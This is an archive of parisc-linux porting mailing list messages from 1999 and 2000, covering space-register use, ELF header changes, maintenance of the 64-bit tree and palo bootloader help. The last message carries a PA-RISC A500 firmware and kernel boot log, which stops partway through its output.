	by palrel3.hp.com (Postfix) with ESMTP id 56D80187
	for <parisc-linux@thepuffingroup.com>; Wed,  1 Nov 2000 02:38:13 -0800 (PST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id DAA17270 for parisc-linux@thepuffingroup.com; Wed, 1 Nov 2000 03:35:49 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8285

Matthew Wilcox wrote:

> a small optimisation just occurred to me.
>
> right now, when we switch to kernel space, we set all of sr4-sr7 to 0
> (for the kernel mapping).  we don't need to do that since the kernel is
> entirely in sr7's domain.  this has the added bonus that badly written
> drivers which blindly dereference userspace pointers will work on
> parisc as well as x86.  we can also lazily restore sr4-6 on exit from
> kernel space if we're switching back to the same task which called us.
> this optimisation may not be worthwhile, but i think setting sr4-6
> on entry to the kernel is unnecessary.

True for now.  But it won't always be true.  It is a desired goal to be
able to support large (~3.5 Gb) physical memory for the 32 bit port.  To
do this we will move the kernel down to around virtual address 0, so the
kernel address space will then be controlled by sr4, and depending on the
amount of physical memory in the machine, possibly sr5, sr6, and sr7.  We
could do this based on a test of the amount of physical memory in the
machine, but once you load something from memory to do the test, and then
actually do the test, you wouldn't have any advantage over just writing
zero's to the space registers.

This might be worth considering for the 64 bit port, since both the kernel
and user space will reside entirely within the linear address space
covered by sr4 (We would have to go to a 1 Mb page size to be able to
support greater than a 62 bit address space with three level page tables).
sr5,sr6, and sr7 will only be used when we are running 64 bit HP-UX
processes (with its address space broken up into 4 segments).  Note that
since we just store the users space in sr3 while we are in the kernel, its
not clear that any kind of test with a branch would be a performance gain,
especially if it required that we load something from memory to do that
test.  We may be able cover this by managing sr5, sr6 and sr7 only in the
HP-UX specific parts of the syscall path.

John


From - Thu Nov 08 21:13:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Elf Header change proposal
Date: Thu, 2 Nov 2000 00:11:11 +1100 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011012311450.26717-100000@front.linuxcare.com.au>
References: <200011010937.CAA16167@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619237 5353 80.91.229.3 (22 Nov 2014 01:20:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Wed Nov  1 06:11:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA11975
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Nov 2000 06:11:27 -0700
Original-Received: (qmail 20701 invoked by uid 15267); 1 Nov 2000 13:13:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20681 invoked from network); 1 Nov 2000 13:13:08 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 1 Nov 2000 13:13:08 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA14090;
	Thu, 2 Nov 2000 00:11:11 +1100
In-Reply-To: <200011010937.CAA16167@udlkern.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8286

On Wed, 1 Nov 2000, John Marvin wrote:

> So, the bad news is that I wasted time writing an unecessarily long
> design proposal. The good news is that the only thing that needs to
> change is value in the e_ident[EI_OSABI] field, so that we can
> differentiate 64 bit HP-UX binaries from 64 bit Linux binaries.
> We should also change the field for 32 bit Linux also.

Some other bad news is that the change isn't quite trivial, due to not
wishing to break other bfd targets.  The good new is I've made the
change.  Compiling at the moment.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel updates.
Date: Sun, 18 Apr 1999 02:45:03 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990418023812.1235D-100000@devserv.devel.redhat.com>
References: <r2ogkmmo69.fsf@happy.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619238 5361 80.91.229.3 (22 Nov 2014 01:20:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Drepper <drepper@cygnus.com>
Original-X-From: adevries@redhat.com  Sun Apr 18 02:45:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id CAA15841
	for <parisc-linux@sod.res.cmu.edu>; Sun, 18 Apr 1999 02:45:10 -0400
Original-Received: (qmail 1301 invoked by uid 15267); 18 Apr 1999 06:44:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1294 invoked from network); 18 Apr 1999 06:44:05 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 18 Apr 1999 06:44:05 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id CAA10893;
	Sun, 18 Apr 1999 02:45:03 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
In-Reply-To: <r2ogkmmo69.fsf@happy.cygnus.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8287


On 17 Apr 1999, Ulrich Drepper wrote:
> Alex deVries <adevries@redhat.com> writes:
> > And ld.  We need ld help.
> 
> Well, this might be the right time to ask:
> 	I need the ELF specs which should be used.
> This is for ld and glibc.

And the answer to this is:  
- the only docs we have for 32 bit ELF from HP are quite old
- if they're incomplete, it's up to us fill in the information
- this is a good forum to ask directed questions on this topic

Which parts of the ELF spec are not contained in the existing HP document?

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team




From - Thu Nov 08 21:13:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new method for 64-bit parisc tree
Date: Wed, 01 Nov 2000 10:59:34 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <E13r2Ag-0000Xp-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619238 5367 80.91.229.3 (22 Nov 2014 01:20:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@noam.fc.hp.com  Wed Nov  1 10:57:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA14050
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Nov 2000 10:57:54 -0700
Original-Received: (qmail 30216 invoked by uid 15267); 1 Nov 2000 17:59:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30208 invoked from network); 1 Nov 2000 17:59:36 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 1 Nov 2000 17:59:36 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP id 928861FBF
	for <parisc-linux@thepuffingroup.com>; Wed,  1 Nov 2000 12:59:35 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id KAA11208
	for <parisc-linux@thepuffingroup.com>; Wed, 1 Nov 2000 10:59:34 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13r2Ag-0000Xp-00
	for <parisc-linux@thepuffingroup.com>; Wed, 01 Nov 2000 10:59:34 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:8288


I want to propose/discuss a new method for maintaining our 64-bit parisc
tree in relation to the 32-bit tree.  I have prototyped this and so
far it seems pretty useful.

Most of the files in the current parisc64 tree only contain one 
line, a #include of the same file from the parisc tree.  This confuses
'make dep', causes some compile errors to have nonsense line numbers,
and doesn't allow direct editing of the source files in the parisc64 tree.

The method I'm proposing works like this:

The future parisc64 tree ONLY contains files which are different from,
or in addition to, those in the parisc tree.  When you 'make config'
or 'make oldconfig', each file in the parsic tree is symbolically
linked as the same file in the parisc64 tree.  This enables all
the rest of the tools/build to work normally.  'make distclean' includes
a step to remove all the symlinks.

The ugliest "feature" is that even though you can edit source files
in the parisc64 tree, 'cvs commit' will fail on those which are
symbolic links.  To reduce this problem, I'm dropping a symbolic link
called '...' in each parisc64 directory which is a pointer to the
corresponding parisc directory, so 'cd ...; cvs commit foo.c' will
work and not be too onerous.

We should additionally consider a naming convention or something so
that maintainers in the parisc tree know whether files are shared with
parisc64 or not.

I prototyped this as a fictional new "architecture" called "p64".  To
try it out, grab the tarball (only about 30 files -- can be fewer)
ftp://puffin.external.hp.com/pub/parisc/
and unpack in your top-level linux source tree directory.  Then in
your top-level Makefile, change ARCH := parisc64 to ARCH := p64, then
make oldconfig or whatever you usually do.  Let me know of any problems.

Is this something we should adopt for the real parisc64 tree?

	-Paul Bame


From - Thu Nov 08 21:13:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NEW NATIVE PALO TARBALL - REQUIRED
Date: Wed, 01 Nov 2000 12:30:40 -0800
Lines: 31
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001101122543.02a49370@mail.webcash.com>
References: <Your message of "Tue, 31 Oct 2000 12:58:41 PST." <5.0.0.25.0.20001031125250.00ad6430@mail.webcash.com>
 <Your message of "Mon, 30 Oct 2000 13:51:00 PST." <5.0.0.25.0.20001030134804.00a46a60@mail.webcash.com>
 <5.0.0.25.0.20001030134804.00a46a60@mail.webcash.com>
 <5.0.0.25.0.20001031125250.00ad6430@mail.webcash.com> <E13qiuu-00005u-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619238 5375 80.91.229.3 (22 Nov 2014 01:20:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: kailasr@webcash.com  Wed Nov  1 13:32:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA15123
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Nov 2000 13:32:42 -0700
Original-Received: (qmail 10507 invoked by uid 15267); 1 Nov 2000 20:34:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10461 invoked from network); 1 Nov 2000 20:34:20 -0000
Original-Received: from ns2.imedia.net (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 1 Nov 2000 20:34:20 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by ns2.imedia.net (8.10.2/8.9.3) with ESMTP id eA1KScc70014;
	Wed, 1 Nov 2000 12:28:38 -0800 (PST)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
X-Priority: 1 (Highest)
In-Reply-To: <E13qiuu-00005u-00@noam.fc.hp.com>
Original-References: <Your message of "Tue, 31 Oct 2000 12:58:41 PST." <5.0.0.25.0.20001031125250.00ad6430@mail.webcash.com>
 <Your message of "Mon, 30 Oct 2000 13:51:00 PST." <5.0.0.25.0.20001030134804.00a46a60@mail.webcash.com>
 <5.0.0.25.0.20001030134804.00a46a60@mail.webcash.com>
 <5.0.0.25.0.20001031125250.00ad6430@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8289

Thanks paul I was able to run the command.

Can you let me know what I should type at ISL prompt as its trying to boot 
from /stand/vmunix instead of /boot/vmlinux. Also I am unable to open vi as 
it says vi:LINUX:unknown terminal type.

Please suggest.
Regards

At 02:26 PM 10/31/00 -0700, Paul Bame wrote:
>= Hi Paul,
>=
>= After booting the Server from NFSroot I need to Initialize the harddisk on
>= the server. so I copied the palo and linux in to the nfsroot. I am trying
>= to Run the following command:
>= $ palo -I -k /boot/vmlinux -b /boot/iplboot   -c '2/boot/vmlinux TERM=linux
>= HOME=/ root=/dev/sda2' /dev/sda
>= fisrt partition is 10M of type f0
>= second partition is /dev/sda2 of type linux native.
>= Third partition is /dev/sda3 of type linux Swap
>
>That looks great.
>
>= Then I get the cannot execute binary file.
>
>Ok I think we changed the kernal such that the old palo bits won't run
>any more (we removed the old gateway page).  I uploaded a new version:
>ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/palo-200001031.tgz
>
>         -P


From - Thu Nov 08 21:13:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: linux bame
Date: Thu, 2 Nov 2000 00:13:06 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20001102001306.A30325@parcelfarce.linux.theplanet.co.uk>
References: <200011012053.NAA15579@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619239 5376 80.91.229.3 (22 Nov 2014 01:20:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:39 +0000 (UTC)
Cc: parisc-linux-cvs@puffin.external.hp.com
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Wed Nov  1 17:11:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA16826
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Nov 2000 17:11:24 -0700
Original-Received: (qmail 2813 invoked by uid 15267); 2 Nov 2000 00:13:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2805 invoked from network); 2 Nov 2000 00:13:07 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 2 Nov 2000 00:13:07 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13r80A-00082r-00; Thu, 02 Nov 2000 00:13:06 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200011012053.NAA15579@puffin.external.hp.com>; from bame@puffin.external.hp.com on Wed, Nov 01, 2000 at 01:53:24PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8290

On Wed, Nov 01, 2000 at 01:53:24PM -0700, Paul Bame wrote:
> CVSROOT:	/home/cvs/parisc
> Module name:	linux
> Changes by:	bame	00/11/01 13:53:24
> 
> Modified files:
> 	include/asm-parisc64: posix_types.h 
> 
> Log message:
> Don't need a separate copy of this one either

err.. are you sure?  we used to get a lot of prototype problems when they
were the same file.  what's changed that they're now able to be the same?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: linux bame
Date: Wed, 01 Nov 2000 23:18:43 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <m13rDi4-001Vp3C@chalet>
References: <20001102001306.A30325@parcelfarce.linux.theplanet.co.uk>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619239 5382 80.91.229.3 (22 Nov 2014 01:20:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: bame@bame.riverrock.org  Wed Nov  1 23:18:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA18729
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Nov 2000 23:18:54 -0700
Original-Received: (qmail 32438 invoked by uid 15267); 2 Nov 2000 06:20:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32383 invoked from network); 2 Nov 2000 06:20:29 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 2 Nov 2000 06:20:29 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m13rDi4-001Vp3C@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Wed, 1 Nov 2000 23:18:48 -0700 (MST) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Thu, 02 Nov 2000 00:13:06 GMT."
             <20001102001306.A30325@parcelfarce.linux.theplanet.co.uk>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:8291

= On Wed, Nov 01, 2000 at 01:53:24PM -0700, Paul Bame wrote:
= > CVSROOT:	/home/cvs/parisc
= > Module name:	linux
= > Changes by:	bame	00/11/01 13:53:24
= > 
= > Modified files:
= > 	include/asm-parisc64: posix_types.h 
= > 
= > Log message:
= > Don't need a separate copy of this one either
= 
= err.. are you sure?  we used to get a lot of prototype problems when they
= were the same file.  what's changed that they're now able to be the same?

I changed the parisc version so that the data types would compile to
the same size in both wide and narrow mode.  Unfortunately there is
at least one issue which will probably require this scheme to change :-(

	-P


From - Thu Nov 08 21:13:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] a500.out16
Date: Thu, 2 Nov 2000 00:21:36 -0800 (PST)
Lines: 477
Approved: news@gmane.org
Message-ID: <200011020821.AAA28301@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619240 5390 80.91.229.3 (22 Nov 2014 01:20:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: rhirst@linuxcare.com
Original-X-From: grundler@cup.hp.com  Thu Nov  2 01:15:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA28558
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 01:14:59 -0700
Original-Received: (qmail 19732 invoked by uid 15267); 2 Nov 2000 08:16:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19714 invoked from network); 2 Nov 2000 08:16:42 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 2 Nov 2000 08:16:42 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id A29B3566E; Thu,  2 Nov 2000 00:16:40 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id AAA28301;
	Thu, 2 Nov 2000 00:21:36 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:8292

Hi Richard (et al),
I finally think I understand how pcibios_align_resource() is used...
that definitely was the problem. Everything on A500 but PCI-PCI bridge
seems to be assigned I/O port and MMIO addresses correctly.

I'll look at tulip code tomorrow to see why it's not happy.
6 Tulips are behind PCI-PCI Bridges and that's part of
the problem. But the complaints about "MMIO resource"
list I/O Port addresses instead...and those look fine to me
if they are treated like I/O port addresses...

I'd also like to connect some more SCSI disks....but any clue
what the "CACHE TEST FAILED" is about?

But instead of putting out another tar ball, I'm committing my code.
I haven't tested on c3k/j5k yet and it might be broken.
32-bit still builds and any fix should be simple - either
cvs update back to an older date or put "if (pdc_pat) { }"
around anything that I added that shouldn't be.
Tell me to test/fix any brokeness you might find and I'll
make time to do it.

aplogies for the long delay,
grant


Firmware Version  40.32

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst    Data
  ---------  --------   ---------------------  -----------------  ------------
      0      440  MHz   Active                 Functional         512 KB   1 MB
      1      440  MHz   Idle                   Functional         512 KB   1 MB

  Central Bus Speed (in MHz)  :        111  
  Available Memory            :     262144  KB
  Good Memory Required        :      11468  KB

   Primary boot path:    0/0/1/1.15          
   Alternate boot path:  0/0/2/1.15          
   Console path:         0/0/4/0.0           
   Keyboard path:        0/0/4/0.0           

 WARNING:  The non-destructive test bit was set, so memory was not tested 
            destructively.  Information only, no action required. 


---- Main Menu ---------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT] [<path>]           Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > bo lan
Interact with IPL (Y, N, or Cancel)?> n

Booting... 
Network Station Address 00306e-03799f
System IP Address 15.8.80.78
Server IP Address 15.8.81.247

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl grundler@hpisp747 Tue Oct 31 16:45:27 PST 2000
0/vmlinux 2708507 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa64 '
Kernel: partition 0 file /vmlinux
ELF64 executable

Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 1705408 mediaptr 0x1000
Segment 1 load 002a2000 size 407616 mediaptr 0x1a2000
Segment 2 load 00308000 size 131960 mediaptr 0x206000
Segment 3 load 0032c000 size 16384 mediaptr 0x227000
branching to kernel entry point 0x00100000
Set default PSW W bit to 1
PDC Console Initialized
The 64-bit Kernel has started...
Enabled FP coprocessor
If this is the LAST MESSAGE YOU SEE, you're probably using
32-bit millicode by mistake.
Free memory starts at: 0xc0371000
start_parisc(0x504d40,0x504d40,0x0,0x0)
PALO command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa64 '
PALO initrd 0-0
model   00005cb0 00000491 00000000 00000001 23355fdc 100000f0 00000008 000000b2 000000b2
vers    00000300
cpuid   0000022a
CPUID vers 17 rev 10
Searching for devices in PDC firmware... processor hpa 0xfffffffffffa0000
CELL_GET_NUMBER: 0x0 0x1
PAT_ENTITY_PROC: id_eid 0xa0ff0000
PAT_ENTITY_PROC: id_eid 0xa2ff0000
PAT_ENTITY_MEM: amount 0x10000000 min_gni_base 0x0 min_gni_len 0x0
PAT_ENTITY_SBA: ranges 6
        0: 0xc000000000000005 0xfffffffffed18000 0xfffffffffed2ffff
        1: 0x8000000000000000 0x0000000000000000 0x000000000000003f
        2: 0x8000000000000001 0xfffffffff8000000 0xfffffffffbffffff
        3: 0x00040000001a1701 0xfffffffff0000000 0xfffffffff7ffffff
        4: 0x00040000001a1701 0xfffffffffc000000 0xfffffffffecfffff
        5: 0x8000000000000002 0xfffffff800000000 0xfffffffbffffffff

PAT_ENTITY_LBA: ranges 4
        0: 0x8000000000000000 0x0000000000000000 0x0000000000000007
        1: 0x8000000000000001 0xfffffffff8000000 0xfffffffff87fffff
        2: 0x8000000000000002 0xfffffff804000000 0xfffffff87fffffff
        3: 0x8000000000000004 0xfffffff800000000 0xfffffff803ffffff

PAT_ENTITY_LBA: ranges 4
        0: 0x8000000000000000 0x0000000000000010 0x0000000000000017
        1: 0x8000000000000001 0xfffffffff9000000 0xfffffffff97fffff
        2: 0x8000000000000002 0xfffffff904000000 0xfffffff97fffffff
        3: 0x8000000000000004 0xfffffff900000000 0xfffffff903ffffff

PAT_ENTITY_LBA: ranges 4
        0: 0x8000000000000000 0x0000000000000020 0x0000000000000027
        1: 0x8000000000000001 0xfffffffffa000000 0xfffffffffa7fffff
        2: 0x8000000000000002 0xfffffffa04000000 0xfffffffa7fffffff
        3: 0x8000000000000004 0xfffffffa00000000 0xfffffffa03ffffff

PAT_ENTITY_LBA: ranges 4
        0: 0x8000000000000000 0x0000000000000030 0x0000000000000037
        1: 0x8000000000000001 0xfffffffffb000000 0xfffffffffb7fffff
        2: 0x8000000000000002 0xfffffffb04000000 0xfffffffb7fffffff
        3: 0x8000000000000004 0xfffffffb00000000 0xfffffffb03ffffff

Found devices:
1. Crescendo 440 (0) at 0xfffffffffffa0000, versions 0x5cb, 0x0, 0x4, 0x0, 0x91
2. Crescendo 440 (0) at 0xfffffffffffa2000, versions 0x5cb, 0x0, 0x4, 0x0, 0x91
3. Crescendo Memory (1) at 0xfffffffffed08000, versions 0x9b, 0x0, 0x9, 0x0, 0x0
4. Astro BC Runway Port (12) at 0xfffffffffed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
5. Elroy PCI Bridge (13) at 0xfffffffffed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
6. Elroy PCI Bridge (13) at 0xfffffffffed34000, versions 0x782, 0x0, 0xa, 0x0, 0x0
7. Elroy PCI Bridge (13) at 0xfffffffffed38000, versions 0x782, 0x0, 0xa, 0x0, 0x0
8. Elroy PCI Bridge (13) at 0xfffffffffed3c000, versions 0x782, 0x0, 0xa, 0x0, 0x0
That's a total of 8 devices.
CONFIG_SMP disabled - not claiming addional CPUs
Warning : device (0, 0x5cb, 0x0, 0x4, 0x0) NOT claimed by CPU PARISC
CPU(s): 1 x PA8500 (PCX-W) at 440.000000 MHz
Linux version 2.4.0-test6 (grundler@hpisp747) (gcc version 2.96 20000925 (experimental)) #73 Wed Nov 1 23:58:51 PST 2000
free_bootmem(0x373000, 0xfc8d000)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 65536
zone(0): 32768 pages.
zone(1): 32768 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa64 
trap_init
Calibrating delay loop... 878.18 BogoMIPS
kernel BUG at page_alloc.c:106!
Memory: 248868k available
Dentry-cache hash table entries: 32768 (order: 7, 524288 bytes)
Buffer-cache hash table entries: 16384 (order: 5, 131072 bytes)
Page-cache hash table entries: 65536 (order: 7, 524288 bytes)
Inode-cache hash table entries: 16384 (order: 6, 262144 bytes)
POSIX conformance testing by UNIFIX
lba version TR4.0 (0x5) found at 0xfffffffffed30000
     0: 0x8000000000000000      PA 0x0000000000000000,0x0000000000000007
                                IO 0x0000000000000000,0x0000000000000007
     1: 0x8000000000000001      PA 0xfffffffff8000000,0xfffffffff87fffff
                                IO 0x00000000f8000000,0x00000000f87fffff
     2: 0x8000000000000002      PA 0xfffffff804000000,0xfffffff87fffffff
                                IO 0x000000f804000000,0x000000f87fffffff
lba range[2] : ignoring GMMIO (0xfffffff804000000)
     3: 0x8000000000000004      PA 0xfffffff800000000,0xfffffff803ffffff
                                IO 0x000000f800000000,0x000000f803ffffff
